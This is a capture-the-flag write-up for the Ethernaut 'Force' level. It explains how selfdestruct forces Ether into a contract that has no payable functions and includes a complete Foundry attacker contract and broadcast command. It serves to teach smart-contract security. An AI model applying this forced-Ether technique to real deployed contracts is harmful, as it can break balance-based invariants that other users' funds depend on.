Cover image source: Source
Challenge Overview
This level presents a contract with no payable functions, making it seemingly impossible to send Ether to it through normal means. The goal is to make the contract’s balance greater than zero by forcing Ether into it using an unconventional method.
Challenge Code
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }The contract contains no functions whatsoever - not even a fallback or receive function. This means:
- No direct Ether transfers can be made to the contract
- No function calls can be made to the contract
- The contract cannot receive Ether through normal transactions
Exploit Explanation
The solution leverages a low-level Ethereum feature: the selfdestruct operation. When a contract self-destructs, it can specify a recipient address to receive any remaining Ether in its balance. Crucially, this transfer cannot be refused by the recipient contract - it happens at the EVM level, bypassing any Solidity-level checks.
The exploit involves:
- Creating an attacker contract with a payable function to receive Ether
- Funding the attacker contract with a small amount of Ether
- Calling
selfdestruct(target)on the attacker contract, forcing all its Ether to the target contract
This works because:
selfdestructis an EVM opcode that forcibly sends Ether- The recipient contract has no ability to reject this transfer
- It bypasses the need for payable functions or fallback/receive functions
Exploit Script
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.0;
import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/Force.sol";
contract Attacker { // Allow this contract to receive Ether receive() external payable {}
function attack(address payable _target) public { // Self-destruct and force all Ether to target selfdestruct(_target); }}
contract ForceSolution is Script { Force public forceInstance = Force(payable(<YOUR_INSTANCE>));
function run() public { vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
// Check initial balance of target contract uint256 initialBalance = address(forceInstance).balance; console.log("Initial target balance:", initialBalance, "wei");
// Deploy attacker contract Attacker attacker = new Attacker();
// Send a small amount of Ether to the attacker contract (bool success, ) = address(attacker).call{value: 0.0001 ether}(""); require(success, "Failed to fund attacker contract");
// Execute the attack - force Ether into target contract attacker.attack(payable(address(forceInstance)));
// Verify the attack was successful uint256 finalBalance = address(forceInstance).balance; console.log("Final target balance:", finalBalance, "wei"); console.log("Attack successful:", finalBalance > initialBalance);
vm.stopBroadcast(); }}Proof of Concept (PoC)
Execute the exploit with Foundry:
forge script script/ForceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ForceSolution --broadcast